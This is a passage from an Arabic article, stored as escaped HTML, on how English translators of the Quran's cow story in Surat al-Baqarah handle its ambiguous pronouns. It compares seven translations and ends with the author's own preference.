\u0645\u0644\u0627\u0645\u0633\u0627 \u0644\u062c\u0633\u062f \u0627\u0644\u0642\u062a\u064a\u0644\u060c \u0648\u0623\u0646 \u062d\u0627\u0644\u0647 \u0633\u064a\u0646\u0628\u0626 \u0639\u0646 \u062c\u0631\u064a\u0645\u062a\u0647\u060c \u0648\u0628\u062d\u062f\u0648\u062b \u0647\u0630\u0627 \u0648\u0627\u0646\u0643\u0634\u0627\u0641\u0647 \u062a\u062d\u064a\u0627 \u0623\u0631\u0648\u0627\u062d \u0643\u062b\u064a\u0631\u0629 \u0648 \u062a\u0642\u0644 \u0634\u0631\u0648\u0631 \u0627\u0644\u062c\u0631\u064a\u0645\u0629 (\u064a\u062d\u064a \u0627\u0644\u0645\u0648\u062a\u0649) \u0641\u0627\u0644\u0625\u062d\u064a\u0627\u0621 \u0647\u0646\u0627 \u064a\u0639\u0646\u064a \u0645\u0646\u0639 \u0627\u0644\u0645\u0633\u0628\u0628 \u0641\u064a \u0627\u0644\u0645\u0648\u062a \u0627\u0628\u062a\u062f\u0623 \u0645\u0646 \u0645\u062b\u0644 (\u0648\u0644\u0643\u0645 \u0641\u064a \u0627\u0644\u0642\u0635\u0627\u0635 \u062d\u064a\u0627\u0629). \u062b\u0645 \u064a\u0633\u062a\u0634\u0647\u062f \u0627\u0644\u0634\u064a\u062e \u0627\u0644\u0646\u062c\u0627\u0631 \u0644\u0631\u0623\u064a\u0647 \u0647\u0630\u0627 \u0628\u0643\u062b\u064a\u0631 \u0645\u0646 \u0634\u0647\u0627\u062f\u0627\u062a \u0639\u0644\u0645\u0627\u0621 \u0627\u0644\u0646\u0641\u0633 \u0648\u0627\u0644\u0645\u062d\u0642\u0642\u064a\u0646 \u0648\u0627\u0644\u0642\u0636\u0627\u0629\u060c \u0648\u064a\u0628\u064a\u0646 \u0623\u0646 \u0628\u0627\u0644\u0642\u0635\u0629 \u062d\u0643\u0645\u0629 \u064a\u0644\u0627\u062d\u0638\u0647\u0627 \u0627\u0644\u0645\u0628\u0627\u0634\u0631\u0648\u0646 \u0644\u0642\u0636\u0627\u064a\u0627 \u0627\u0644\u0642\u062a\u0644.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0645\u0646 \u0646\u0627\u0641\u0644\u0629 \u0627\u0644\u0642\u0648\u0644 \u0623\u0646 \u0627\u0644\u0623\u0632\u0647\u0631 \u0642\u062f\u064a\u0645\u0627 \u0634\u0643\u0644 \u0644\u062c\u0646\u0629 \u0644\u0644\u0631\u062f \u0639\u0644\u0649 \u0627\u0644\u0634\u064a\u062e \u0627\u0644\u0646\u062c\u0627\u0631\u060c \u0648\u0642\u062f \u0646\u0642\u062f\u062a\u0647 \u0627\u0644\u0644\u062c\u0646\u0629 \u0641\u064a \u0631\u0623\u064a\u0647 \u0647\u0630\u0627\u060c \u0648\u0644\u0643\u0646\u0647 \u0631\u062f \u0639\u0644\u064a\u0647\u0645 \u0631\u062f\u0627 \u0645\u0641\u0635\u0644\u0627. \u0648\u0647\u0630\u0627 \u0627\u0644\u0631\u0623\u064a \u0648\u0646\u0642\u062f\u0647 \u0648\u0627\u0644\u0631\u062f \u0639\u0644\u0649 \u0627\u0644\u0646\u0642\u062f \u0643\u0644\u0647 \u0645\u0641\u0635\u0644 \u0641\u064a \u0627\u0644\u0637\u0628\u0639\u0629 \u0627\u0644\u0623\u062e\u064a\u0631\u0629 \u0644\u0643\u062a\u0627\u0628 \u0642\u0635\u0635 \u0627\u0644\u0623\u0646\u0628\u064a\u0627\u0621. \u0648\u0645\u0627 \u064a\u0639\u0646\u064a\u0646\u0646\u0627 \u0647\u0646\u0627 \u0647\u0648 \u0623\u0646 \u0627\u0644\u0644\u063a\u0629 \u0644\u0627 \u062a\u0631\u062f \u0631\u0623\u064a \u0627\u0644\u0646\u062c\u0627\u0631. \u0628\u0644 \u0631\u0628\u0645\u0627 \u062a\u0642\u0641 \u0645\u0639\u0647 \u0625\u0630\u0627 \u0623\u062e\u0630\u0646\u0627 \u0641\u064a \u0627\u0639\u062a\u0628\u0627\u0631\u0646\u0627 \u0645\u0641\u0647\u0648\u0645 \u0648\u062a\u0648\u0627\u0631\u062f \u0644\u0641\u0638\u0629 (\u0625\u0630) \u0648 \u062a\u0635\u0648\u0631 \u062f\u0644\u0627\u0644\u0629 \u0627\u0644\u0636\u0645\u0627\u0626\u0631 \u0648\u0627\u0644\u0639\u0648\u0627\u0626\u062f \u0627\u0644\u0645\u0631\u062a\u0628\u0637\u0629 \u0628\u0647\u0630\u0647 \u0627\u0644\u0636\u0645\u0627\u0626\u0631.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0627\u0644\u0633\u0624\u0627\u0644 \u0627\u0644\u0622\u0646 \u0647\u0644 \u062a\u062e\u062a\u0644\u0641 \u062a\u0631\u062c\u0645\u0627\u062a \u0622\u064a\u0627\u062a \u0642\u0635\u0629 \u0627\u0644\u0628\u0642\u0631\u0629 \u0628\u0627\u062e\u062a\u0644\u0627\u0641 \u0647\u0630\u0627 \u0627\u0644\u062a\u0623\u0648\u064a\u0644 \u0627\u0644\u0644\u063a\u0648\u064a\u061f \u0641\u0644\u0646\u0646\u0638\u0631 \u0648\u0644\u0646\u062a\u0641\u062d\u0635:<\/p>\n<p style=\"text-align: justify;\">\u0623\u0648\u0644 \u062a\u0631\u062c\u0645\u0629 \u062a\u0639\u0631\u0636 \u0644\u0646\u0627 \u0647\u064a \u062a\u0631\u062c\u0645\u0629 \u0645\u062d\u0633\u0646 \u062e\u0627\u0646:<\/p>\n<p style=\"text-align: justify;\"><strong>Mohsin Khan<\/strong>: And (remember) when you killed a man and fell into dispute among yourselves as to the crime. But Allah brought forth that which you were hiding. So We said: &#8220;Strike him (the dead man) with a piece of it (the cow).&#8221; Thus Allah brings the dead to life and shows you His Ayat (proofs, evidences, verses, lessons, signs, revelations, etc.) so that you may understand.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0641\u064a\u0647\u0627 \u0646\u0644\u0627\u062d\u0638 \u0623\u0646\u0647 \u062a\u062c\u0646\u0628 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0636\u0645\u0627\u0626\u0631 \u0641\u064a \u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u0623\u0648\u0644\u0649\u060c \u0648\u0627\u0633\u062a\u062e\u062f\u0645 \u0628\u062f\u0644\u0627 \u0645\u0646\u0647\u0627 \u0627\u0644\u0645\u062f\u0644\u0648\u0644 \u0648\u0627\u0636\u062d\u0627 \u062d\u062a\u0649 \u0644\u0627 \u064a\u062d\u062f\u062b \u0623\u064a \u0644\u0628\u0633 \u0641\u064a \u0627\u0644\u0641\u0647\u0645\u060c \u0641\u062a\u0631\u062c\u0645 (\u0627\u0644\u0646\u0641\u0633 ) \u0628 \u00a0man\u060c \u0648\u062a\u0631\u062c\u0645 \u0627\u0644\u0636\u0645\u064a\u0631 \u0641\u064a (\u0641\u064e\u0627\u062f\u0651\u064e\u0627\u0631\u064e\u0623\u0652\u062a\u064f\u0645\u0652 \u0641\u0650\u064a\u0647\u064e\u0627) \u0628\u0645\u0639\u0646\u0649 \u0627\u0644\u062d\u0627\u0644 as to the crime. \u0623\u0645\u0627 \u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u062b\u0627\u0646\u064a\u0629 \u0641\u0642\u062f \u0623\u0628\u0642\u0649 \u0641\u064a\u0647\u0627 \u0627\u0644\u0636\u0645\u0627\u0626\u0631 \u0648\u0644\u0643\u0646\u0647 \u0648\u0636\u0639 \u0628\u064a\u0646 \u0627\u0644\u0642\u0648\u0633\u064a\u0646 \u0645\u0627 \u062a\u0634\u064a\u0631 \u0625\u0644\u064a\u0647 \u0628\u0645\u0627 \u064a\u0648\u0627\u0641\u0642 \u0642\u0631\u0627\u0621\u0629 \u0648\u0627\u062d\u062f\u0629 \u0644\u0644\u0642\u0635\u0629. \u0641\u0642\u0627\u0644 \u0639\u0646 \u0623\u0636\u0631\u0628\u0648\u0647 him (the dead man) \u0648 \u0628\u0628\u0639\u0636\u0647\u0627 \u00a0it (the cow).\u00a0 \u0648\u0647\u0630\u0647 \u0647\u064a \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0627\u0644\u0645\u0639\u062a\u0645\u062f\u0629 \u0641\u064a \u0645\u062c\u0645\u0639 \u0627\u0644\u0645\u0644\u0643 \u0641\u0647\u062f \u0644\u0637\u0628\u0627\u0639\u0629 \u0627\u0644\u0645\u0635\u062d\u0641 \u0627\u0644\u0634\u0631\u064a\u0641\u060c \u0641\u0627\u0644\u0637\u0628\u064a\u0639\u064a \u0641\u064a\u0647\u0627 \u062a\u0648\u0636\u064a\u062d \u0627\u0644\u0645\u0639\u0646\u0649 \u0628\u0645\u0627 \u064a\u0648\u0627\u0641\u0642 \u0639\u0645\u0648\u0645 \u0627\u0644\u062a\u0641\u0627\u0633\u064a\u0631.<\/p>\n<p style=\"text-align: justify;\">\u062b\u0645 \u0646\u0644\u0642\u064a \u0646\u0638\u0631\u0629 \u0639\u0644\u0649 \u062a\u0631\u062c\u0645\u0627\u062a \u064a\u0648\u0633\u0641 \u0639\u0644\u064a \u0648 \u0634\u0627\u0643\u064a\u0631\u060c \u0648\u0645\u062d\u0645\u062f \u0633\u0631\u0648\u0631.<\/p>\n<p style=\"text-align: justify;\"><strong>Yusuf Ali<\/strong>: Remember ye slew a man and fell into a dispute among yourselves as to the crime: But Allah was to bring forth what ye did hide. So We said: &#8220;Strike the (body) with a piece of the (heifer).&#8221; Thus Allah bringeth the dead to life and showeth you His Signs: Perchance ye may understand.<\/p>\n<p style=\"text-align: justify;\"><strong>Shakir<\/strong>: And when you killed a man, then you disagreed with respect to that, and Allah was to bring forth that which you were going to hide. So We said: Strike the (dead body) with part of the (Sacrificed cow), thus Allah brings the dead to life, and He shows you His signs so that you may understand.<\/p>\n<p style=\"text-align: justify;\"><strong>Muhammad Sarwar<\/strong>: When you murdered someone, each one of you tried to accuse others of being guilty. However, God made public what you were hiding. We said, &#8220;Strike the person slain with some part of the cow.&#8221; That is how God brings the dead to life and shows you His miracles so that you might have understanding.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0647\u0646\u0627 \u0646\u062c\u062f \u0623\u0646 \u0627\u0644\u062b\u0644\u0627\u062b\u0629 \u062a\u062c\u0646\u0628\u0648\u0627 \u0627\u0644\u0636\u0645\u0627\u0626\u0631 \u062a\u0645\u0627\u0645\u0627\u060c \u0648\u0627\u0633\u062a\u062e\u062f\u0645\u0648\u0627 \u0627\u0644\u0645\u062f\u0644\u0648\u0644 \u0627\u0644\u0630\u064a \u064a\u062a\u0641\u0642 \u0645\u0639 \u062a\u0635\u0648\u0631 \u0627\u0644\u0642\u0635\u0629 \u0627\u0644\u0634\u0647\u064a\u0631 \u062f\u0648\u0646 \u0623\u064a \u0644\u0628\u0633 \u0628\u0633\u0628\u0628 \u0627\u0644\u0636\u0645\u0627\u0626\u0631\u060c \u0648\u0641\u064a \u0647\u0630\u0627 \u0641\u0642\u062f \u0643\u0628\u064a\u0631 \u0641\u064a \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u00a0translation loss \u062d\u064a\u062b \u0625\u0646 \u0628\u0627\u0644\u0623\u0635\u0644 \u0636\u0645\u0627\u0626\u0631 \u0643\u062b\u064a\u0631\u0629 \u0642\u062f \u062a\u0646\u0635\u0631\u0641 \u0625\u0644\u0649 \u0623\u0643\u062b\u0631 \u0645\u0646 \u062a\u0635\u0648\u0631. \u0648\u0644\u0643\u0646\u0647 \u0642\u0631\u0627\u0631 \u062a\u0641\u0633\u064a\u0631\u064a \u0627\u062a\u062e\u0630\u0647 \u0627\u0644\u0645\u062a\u0631\u062c\u0645\u0648\u0646 \u0644\u062a\u062c\u0646\u0628 \u0627\u0644\u0644\u0628\u0633 \u0627\u0644\u0645\u062d\u062a\u0645\u0644 \u0639\u0646 \u0639\u062f\u0645 \u0641\u0647\u0645 \u0627\u0644\u0636\u0645\u0627\u0626\u0631.<\/p>\n<p style=\"text-align: justify;\">\u062b\u0645 \u0646\u0644\u0642\u064a \u0646\u0638\u0631\u0629 \u0639\u0644\u0649 \u062a\u0631\u062c\u0645\u062a\u064a \u0628\u064a\u0643\u062a\u0648\u0644 \u0648\u0627\u0644\u0635\u062d\u064a\u062d\u0629 \u0627\u0644\u062f\u0648\u0644\u064a\u0629.<\/p>\n<p style=\"text-align: justify;\"><strong>Sahih International<\/strong>: And [recall] when you slew a man and disputed over it, but Allah was to bring out that which you were concealing. So, We said, &#8220;Strike the slain man with part of it.&#8221; Thus does Allah bring the dead to life, and He shows you His signs that you might reason.<\/p>\n<p style=\"text-align: justify;\"><strong>Pickthall<\/strong>: And (remember) when ye slew a man and disagreed concerning it and Allah brought forth that which ye were hiding. And We said: Smite him with some of it. Thus Allah bringeth the dead to life and showeth you His portents so that ye may understand.<\/p>\n<p style=\"text-align: justify;\">\u0646\u0644\u0627\u062d\u0638 \u0647\u0646\u0627 \u0623\u0646 \u0627\u0644\u062a\u0631\u062c\u0645\u062a\u064a\u0646 \u0627\u062a\u062e\u0630\u062a\u0627 \u0643\u0644\u0645\u0629 \u00a0man \u062a\u0631\u062c\u0645\u0629 \u0644 (\u0646\u0641\u0633) \u0628\u0627\u0639\u062a\u0628\u0627\u0631 \u062f\u0644\u0627\u0644\u0629 \u0627\u0644\u0636\u0645\u064a\u0631 \u0627\u0644\u0642\u0627\u062f\u0645 \u0641\u064a (\u0641\u0623\u0636\u0631\u0628\u0648\u0647)\u060c \u0644\u0643\u0646 \u0627\u0644\u0645\u062a\u0631\u062c\u0645\u064a\u0646 \u0648\u0642\u0639\u0627 \u0641\u064a \u0648\u0631\u0637\u0629 \u0639\u0646\u062f\u0645\u0627 \u062c\u0627\u0621\u062a\u0647\u0645(\u0641\u064e\u0627\u062f\u0651\u064e\u0627\u0631\u064e\u0623\u0652\u062a\u064f\u0645\u0652 \u0641\u0650\u064a\u0647\u064e\u0627) \u0644\u0623\u0646 \u0627\u0644\u0636\u0645\u064a\u0631 \u0641\u064a (\u0641\u064a\u0647\u0627) \u0645\u0624\u0646\u062b \u0644\u0623\u0646 \u0644\u0641\u0638\u0629 (\u0627\u0644\u0646\u0641\u0633) \u0641\u064a \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0645\u0624\u0646\u062b\u0629 \u0648\u0625\u0646 \u0643\u0627\u0646\u062a \u062a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0642\u062a\u064a\u0644 \u0630\u0643\u0631. \u0623\u0645\u0627 \u00a0man \u0641\u064a \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0641\u0644\u0627 \u062a\u062d\u062a\u0645\u0644 \u0627\u0644\u0623\u0646\u0648\u062b\u0629\u060c \u0644\u0630\u0627 \u0627\u0636\u0637\u0631 \u0627\u0644\u0645\u062a\u0631\u062c\u0645\u0627\u0646 \u0625\u0644\u0649 \u062a\u0631\u062c\u0645\u0629 \u0627\u0644\u0636\u0645\u064a\u0631 \u0641\u064a (\u0641\u064a\u0647\u0627) \u0628 \u00a0it \u00a0\u0639\u0644\u0649 \u0627\u0639\u062a\u0628\u0627\u0631 \u0623\u0646 \u0627\u0644\u062e\u0644\u0627\u0641 \u062d\u0635\u0644 \u062d\u0648\u0644 \u0627\u0644\u062c\u062b\u0629 \u00a0corpse \u00a0\u0648\u0647\u064a \u064a\u0634\u0627\u0631 \u0625\u0644\u064a\u0647\u0627 \u0623\u062d\u064a\u0627\u0646\u0627 \u0628 it. \u0648\u0631\u063a\u0645 \u0647\u0630\u0627 \u0627\u0644\u062a\u062e\u0631\u064a\u062c \u0645\u0627 \u064a\u0632\u0627\u0644 \u0627\u0644\u0646\u0635 \u0645\u0636\u0637\u0631\u0628\u0627 \u0648\u0645\u0644\u062a\u0628\u0633\u0627 \u0644\u0644\u0642\u0627\u0631\u064a\u061b \u0644\u0623\u0646 \u0627\u0644\u0633\u0624\u0627\u0644 \u0627\u0644\u0637\u0628\u064a\u0639\u064a \u0647\u0648 : \u0644\u0645 \u0644\u0627 \u064a\u0642\u0648\u0644\u0648\u0646 \u00a0him \u0637\u0627\u0644\u0645\u0627 \u0647\u0648 \u0642\u062a\u064a\u0644 \u0630\u0643\u0631\u061f \u0648\u0627\u0644\u0633\u0628\u0628 \u0647\u0648 \u0623\u0646 \u0627\u0644\u0646\u0635 \u0627\u0644\u0623\u0635\u0644\u064a \u0641\u064a\u0647 \u0625\u0634\u0627\u0631\u0629 \u0627\u0644\u0645\u0641\u0631\u062f\u0629 \u0627\u0644\u0645\u0624\u0646\u062b\u0629 \u0644\u0644\u0646\u0641\u0633 \u0648\u0647\u0630\u0647 \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u062a\u0635\u0644\u062d \u0644\u0644\u0639\u0627\u0642\u0644 \u0627\u0644\u0645\u0624\u0646\u062b\u00a0 \u0627\u0644\u0645\u062c\u0627\u0632\u064a (\u0627\u0644\u0646\u0641\u0633) \u0643\u0645\u0627 \u062a\u0635\u0644\u062d \u0644\u063a\u064a\u0631 \u0627\u0644\u0639\u0627\u0642\u0644 (\u0627\u0644\u062c\u062b\u0629).<\/p>\n<p style=\"text-align: justify;\">\u0644\u0643\u0646 \u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628 \u064a\u0628\u0644\u063a \u0645\u062f\u0627\u0647 \u0639\u0646\u062f\u0645\u0627 \u064a\u0639\u0648\u062f \u0627\u0644\u0645\u062a\u0631\u062c\u0645\u0627\u0646 \u0641\u064a \u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u062a\u0627\u0644\u064a\u0629 \u0648\u064a\u0634\u064a\u0631\u0627\u0646 \u0625\u0644\u0649 \u0627\u0644\u0642\u062a\u064a\u0644 \u0628 \u00a0him(\u0627\u0636\u0631\u0628\u0648\u0647)\u00a0 \u0648\u064a\u0634\u064a\u0631\u0627\u0646 \u0625\u0644\u0649 \u0634\u064a\u0621 \u0645\u0628\u0647\u0645 \u0628 \u00a0it\u060c \u0641\u0644\u0627 \u064a\u062f\u0631\u064a \u0627\u0644\u0642\u0627\u0631\u0626\u0627\u0644\u0622\u0646 \u0639\u0644\u0627\u0645 \u062a\u0639\u0648\u062f \u00a0it\u061f \u0647\u0644 \u0639\u0644\u0649 \u0627\u0644\u062c\u062b\u0629 \u0643\u0645\u0627 \u0641\u064a \u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u0633\u0627\u0628\u0642\u0629 \u061f \u0625\u0630\u0646 \u0645\u0646 \u064a\u0643\u0648\u0646 \u00a0him\u061f \u0647\u0644 \u0634\u062e\u0635 \u0622\u062e\u0631 \u0644\u0645 \u064a\u0630\u0643\u0631\u061f \u0648\u0625\u0630\u0627 \u0643\u0627\u0646 \u0644\u0645 \u064a\u0630\u0643\u0631 \u0641\u0643\u064a\u0641 \u0646\u0634\u064a\u0631 \u0625\u0644\u064a\u0647 \u0628\u0636\u0645\u064a\u0631 \u0627\u0644\u0622\u0646\u061f<\/p>\n<p style=\"text-align: justify;\">\u0622\u062e\u0631 \u062a\u0631\u062c\u0645\u0629 \u0646\u0644\u0642\u064a \u0639\u0644\u064a\u0647\u0627 \u0646\u0638\u0631\u0629 \u0647\u064a \u062a\u0631\u062c\u0645\u0629 \u0623\u0631\u0628\u0631\u064a:<\/p>\n<p style=\"text-align: justify;\"><strong>Arberry<\/strong>: And when you killed a living soul, and disputed thereon &#8212; and God disclosed what you were hiding &#8211; so We said, &#8216;Smite him with part of it&#8217;; even so God brings to life the dead, and He shows you His signs, that haply you may have understanding.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0644\u0623\u0646 \u0627\u0644\u0631\u062c\u0644 \u0644\u063a\u0648\u064a \u0641\u064a \u0627\u0644\u0645\u0642\u0627\u0645 \u0627\u0644\u0623\u0648\u0644\u060c \u0641\u0647\u0648 \u064a\u062f\u0631\u0643 \u0648\u0631\u0637\u0629 \u0627\u0644\u0636\u0645\u0627\u0626\u0631 \u0648\u0627\u0644\u0625\u062d\u0627\u0644\u0627\u062a \u0645\u0627 \u0628\u064a\u0646 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0648\u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629\u061b \u0644\u0630\u0627 \u0623\u0641\u0644\u062d \u0628\u062a\u0631\u062c\u0645\u0629 (\u0646\u0641\u0633\u0627) \u0628 \u00a0a living soul \u0644\u0623\u0646\u0647\u0627 \u0628\u0630\u0644\u0643 \u064a\u0645\u0643\u0646\u0647 \u0623\u0646 \u064a\u0634\u064a\u0631 \u0625\u0644\u064a\u0647\u0627 \u0628 \u00a0it \u00a0\u0628\u0633\u0647\u0648\u0644\u0629 \u062f\u0648\u0646 \u0645\u0634\u0643\u0644\u0629 \u0641\u064a \u0627\u0644\u0641\u0647\u0645 \u0623\u0648 \u0627\u0644\u062a\u0635\u0648\u0631. \u0627\u0644\u0639\u062c\u064a\u0628 \u0623\u0646\u0647 \u0644\u0645 \u064a\u0641\u0639\u0644! \u0648\u0631\u063a\u0645 \u0639\u062f\u0645 \u0648\u062c\u0648\u062f \u0623\u064a\u0629 \u0645\u0634\u0643\u0644\u0629 \u0641\u064a \u0625\u0634\u0627\u0631\u062a\u0647 \u0625\u0644\u0649 \u0647\u0630\u0647 \u0627\u0644\u0631\u0648\u062d \u0627\u0644\u062a\u064a \u0642\u062a\u0644\u062a \u0628 \u00a0it \u0641\u0625\u0646\u0647 \u0627\u062e\u062a\u0627\u0631 \u0623\u0646 \u064a\u062a\u0631\u062c\u0645 \u0627\u0644\u0636\u0645\u064a\u0631 \u0641\u064a (\u0641\u064e\u0627\u062f\u0651\u064e\u0627\u0631\u064e\u0623\u0652\u062a\u064f\u0645\u0652 \u0641\u0650\u064a\u0647\u064e\u0627) \u0628\u0645\u0639\u0646\u0649 \u0627\u0644\u062d\u0627\u0644 \u00a0thereon \u0648\u0628\u0625\u0633\u0642\u0627\u0637 \u0627\u0644\u0636\u0645\u064a\u0631 \u062a\u0645\u0627\u0645\u0627. \u0648\u0628\u0630\u0644\u0643 \u0642\u0644\u0644 \u0645\u0646 \u0627\u0644\u0644\u0628\u0633\u060c \u0644\u0643\u0646\u0647 \u0641\u064a \u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u062b\u0627\u0646\u064a\u0629 \u0644\u0645 \u064a\u062c\u062f \u0628\u062f\u0627 \u0645\u0646 \u0623\u0646 \u064a\u062a\u0631\u062c\u0645 \u0627\u0644\u0636\u0645\u064a\u0631 \u0641\u064a (\u0641\u0627\u0636\u0631\u0628\u0648\u0647) \u0628 \u00a0him \u0648\u0627\u0644\u0636\u0645\u064a\u0631 \u0641\u064a (\u0628\u0628\u0639\u0636\u0647\u0627) \u0628 \u00a0it \u062a\u0627\u0631\u0643\u0627 \u0627\u0644\u062a\u0635\u0648\u0631 \u0644\u0644\u0642\u0627\u0631\u064a \u0644\u0645\u0639\u0631\u0641\u0629 \u0623\u0646 \u00a0a living soul \u0643\u0627\u0646 \u0631\u062c\u0644\u0627 \u064a\u0634\u0627\u0631 \u0625\u0644\u064a\u0647 \u0628 \u00a0him \u0648\u0644\u0643\u0646 \u062a\u0628\u0642\u0649 \u00a0it \u00a0\u0645\u0639\u0644\u0642\u0629 \u0644\u0627 \u0646\u062f\u0631\u064a \u0625\u0644\u0649 \u0623\u064a \u0634\u064a\u0621 \u062a\u0634\u064a\u0631.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0623\u063a\u0644\u0628 \u0638\u0646\u064a \u0647\u0648 \u0623\u0646 \u0627\u0644\u0645\u062a\u0631\u062c\u0645\u064a\u0646 \u062c\u0645\u064a\u0639\u0627 \u0644\u0645 \u064a\u0633\u0645\u0639\u0648\u0627 \u0628\u0627\u0644\u062a\u0623\u0648\u064a\u0644 \u0627\u0644\u0622\u062e\u0631 \u0644\u0644\u0645\u0639\u0627\u0646\u064a \u0648\u0627\u0639\u062a\u0628\u0627\u0631 \u0627\u0644\u0642\u0635\u0629 \u0642\u0635\u062a\u064a\u0646 \u0644\u0627 \u0642\u0635\u0629 \u0648\u0627\u062d\u062f\u0629. \u0641\u0644\u0648 \u0639\u0631\u0641\u0648\u0627 \u0628\u0630\u0644\u0643 \u0644\u0631\u0628\u0645\u0627 \u0623\u0636\u0627\u0641\u0648\u0627 \u0628\u064a\u0646 \u0627\u0644\u0642\u0648\u0633\u064a\u0646 \u0627\u0644\u062f\u0644\u0627\u0644\u0627\u062a \u0627\u0644\u0645\u062e\u062a\u0644\u0641\u0629 \u0627\u0644\u062a\u064a \u062a\u062d\u062a\u0645\u0644\u0647\u0627 \u0627\u0644\u0636\u0645\u0627\u0626\u0631.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0633\u0648\u0627\u0621 \u0648\u0627\u0641\u0642\u0646\u0627 \u0627\u0644\u0634\u064a\u062e \u0627\u0644\u0646\u062c\u0627\u0631 \u0648\u0627\u0644\u0633\u064a\u062f \u0631\u0634\u064a\u062f \u0641\u064a \u0627\u0639\u062a\u0628\u0627\u0631\u0647\u0645\u0627 \u0627\u0644\u0642\u0635\u0629 \u0642\u0635\u062a\u064a\u0646 \u0623\u0645 \u0644\u0645 \u0646\u0648\u0627\u0641\u0642\u0647\u0645\u0627\u060c \u0641\u0625\u0646 \u0639\u0645\u0644 \u0627\u0644\u0645\u062a\u0631\u062c\u0645 \u0628\u0627\u0644\u0636\u0631\u0648\u0631\u0629 \u0644\u0627\u0628\u062f \u0623\u0646 \u064a\u0646\u0637\u0648\u064a \u0639\u0644\u0649 \u0627\u062a\u062e\u0627\u0630 \u0642\u0631\u0627\u0631 \u062a\u0641\u0633\u064a\u0631\u064a \u0644\u0644\u0642\u0627\u0631\u0626\u061b \u0648\u0647\u0630\u0627 \u0645\u0627 \u0627\u062a\u062e\u0630\u0647 \u0645\u062d\u0633\u0646 \u062e\u0627\u0646 \u0645\u0639 \u0623\u0645\u0627\u0646\u0629 \u0644\u0644\u0646\u0635 \u0628\u0630\u0643\u0631 \u0627\u0644\u0636\u0645\u0627\u0626\u0631\u060c \u0648\u0645\u0627 \u0641\u0639\u0644\u0647 \u064a\u0648\u0633\u0641 \u0639\u0644\u064a \u0648\u0634\u0627\u0643\u064a\u0631\u060c \u0648\u0645\u062d\u0645\u062f \u0633\u0631\u0648\u0631\u060c \u0645\u0639 \u062a\u0636\u062d\u064a\u062a\u0647\u0645 \u0628\u062c\u0632\u0621 \u0645\u0646 \u0627\u0644\u0623\u0635\u0644 \u0628\u0625\u0633\u0642\u0627\u0637\u0647\u0645 \u0644\u0644\u0636\u0645\u0627\u0626\u0631 \u062c\u0645\u064a\u0639\u0627. \u0623\u0645\u0627 \u0627\u0644\u0635\u062d\u064a\u062d\u0629 \u0627\u0644\u062f\u0648\u0644\u064a\u0629 \u0648\u0628\u0643\u062a\u0648\u0644\u0648\u0623\u0631\u0628\u0631\u064a \u0641\u0642\u062f \u062a\u062d\u064a\u0631\u0648\u0627 \u0628\u064a\u0646 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0628\u0646\u064a\u0629 \u0627\u0644\u0623\u0635\u0644 (\u0627\u0644\u0623\u0645\u0627\u0646\u0629 \u0644\u0644\u0623\u0635\u0644) \u0648\u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0627\u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0645\u0643\u062a\u0645\u0644 (\u0627\u0644\u0623\u0645\u0627\u0646\u0629 \u0644\u0644\u0642\u0627\u0631\u0626) \u0641\u0622\u062b\u0631\u0648\u0627 \u0627\u0644\u0623\u0648\u0644\u0649 \u0639\u0644\u0649 \u0627\u0644\u062b\u0627\u0646\u064a\u0629\u060c \u0639\u0644\u0649 \u0627\u0639\u062a\u0628\u0627\u0631 \u0623\u0646 \u0627\u0644\u0642\u0627\u0631\u0626 \u0633\u064a\u0644\u062c\u0623 \u0625\u0644\u0649 \u0627\u0644\u062a\u0641\u0627\u0633\u064a\u0631 \u0625\u0630\u0627 \u0644\u0645 \u064a\u0641\u0647\u0645. \u0648\u0639\u0646\u062f\u064a \u0623\u0646 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0627\u0644\u0623\u0641\u0636\u0644 \u0647\u064a \u0627\u0644\u062a\u064a \u062a\u0644\u062a\u0632\u0645 \u0645\u0639\u0646\u0649 \u0648\u0627\u0636\u062d\u0627 \u0645\u0631\u062c\u062d\u0627 \u0643\u0645\u0627 \u0641\u0639\u0644 \u062e\u0627\u0646\u060c \u0645\u0639 \u0625\u0634\u0627\u0631\u0629 \u0641\u064a \u0627\u0644\u062d\u0627\u0634\u064a\u0629 \u0625\u0644\u0649 \u0627\u0644\u0627\u062d\u062a\u0645\u0627\u0644\u0627\u062a \u0627\u0644\u0623\u062e\u0631\u0649 \u0627\u0644\u062a\u064a \u0644\u0627 \u062a\u062a\u0636\u0627\u0631\u0628 \u0645\u0639 \u0627\u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0623\u0648\u0644.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0627\u0644\u0644\u0647 \u0623\u0639\u0644\u0649 \u0648\u0623\u0639\u0644\u0645.<\/p>\n<p><script>var 